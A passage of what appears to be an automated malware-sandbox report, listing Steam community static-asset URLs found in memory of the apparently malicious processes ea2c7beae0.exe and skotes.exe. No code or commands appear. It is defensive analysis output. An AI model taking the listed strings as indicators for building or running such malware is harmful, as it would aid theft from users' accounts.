00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/css/skin_1/header.css?v=pTvrRy1pm52p&l=english
Source: ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587419706.0000000000A8D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587737359.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1
Source: ea2c7beae0.exe, 0000000B.00000003.2587419706.0000000000A8D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587737359.0000000000A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/css/skin_1/pr
Source: ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/css/skin_1/profilev2.css?v=t9xiI4DlPpEB&l=english
Source: ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443518589.0000000001038000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764879764.00000000007CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443518589.0000000001038000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668673015.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.000000000168D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680736225.000000000168D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680934463.00000000016F0000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764879764.00000000007CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: ea2c7beae0.exe, 0000000B.00000003.2620311804.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2664262344.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2813085979.0000000000A8D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2623251409.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2866526265.0000000000A8D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2640348018.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2684577632.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2641351631.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/javas
Source: ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443518589.0000000001038000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764879764.00000000007CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/javascript/applications/community/libraries~b28b7af69.js?v=
Source: ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443518589.0000000001038000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668673015.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.000000000168D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680736225.000000000168D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680934463.00000000016F0000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764879764.00000000007CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/javascript/applications/community/main.js?v=4XouecKy8sZy&am
Source: ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443518589.0000000001038000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668673015.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.000000000168D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680736225.000000000168D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680934463.00000000016F0000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764879764.00000000007CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/javascript/applications/community/manifest.js?v=r7a4-LYcQOj
Source: ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587419706.0000000000A8D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587737359.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668673015.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/javascript/global.js?v=7qlUmHSJhPRN&l=english
Source: ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587419706.0000000000A8D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587737359.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668673015.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587419706.0000000000A8D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587737359.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/javascript/modalContent.js?v=XpCpvP7feUoO&l=english
Source: ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587419706.0000000000A8D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587737359.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587419706.0000000000A8D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587737359.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/javascript/profile.js?v=bbs9uq0gqJ-H&l=english
Source: ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587419706.0000000000A8D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587737359.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/javascript/promo/stickers.js?v=W8NP8aTVqtms&l=english
Source: ea2c7beae0.exe, 0000000B.00000003.2587419706.0000000000A8D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587737359.0000000000A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t4
Source: ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587419706.0000000000A8D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668673015.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680736225.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680934463.00000000016F0000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587419706.0000000000A8D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587737359.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=english
Source: ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587419706.0000000000A8D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587737359.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668673015.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL&l=
Source: ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587419706.0000000000A8D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587737359.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/javascript/webui/clientcom.js?v=jq1jQyX1843y&l=english
Source: ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587419706.0000000000A8D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587737359.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668673015.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680736225.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680934463.00000000016F0000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/shared/css/buttons.css?v=-WV9f1LdxEjq&l=english
Source: ea2c7beae0.exe, 0000000B.00000003.2587419706.0000000000A8D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587737359.0000000000A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/shared/css/motiva_Fvp
Source: ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/shared/css/motiva_sans.css?v=v7XTmVzbLV33&l=english
Source: ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668673015.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680736225.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680934463.00000000016F0000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/shared/css/shared_global.css?v=uF6G1wyNU-4c&l=english
Source: ea2c7beae0.exe, 0000000B.00000003.2587419706.0000000000A8D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587737359.0000000000A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/shared/css/shared_responsive.css?v=kR7y
Source: ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668673015.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680736225.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680934463.00000000016F0000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/shared/css/shared_responsive.css?v=kR9MtmbWSZEp&l=engli
Source: ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
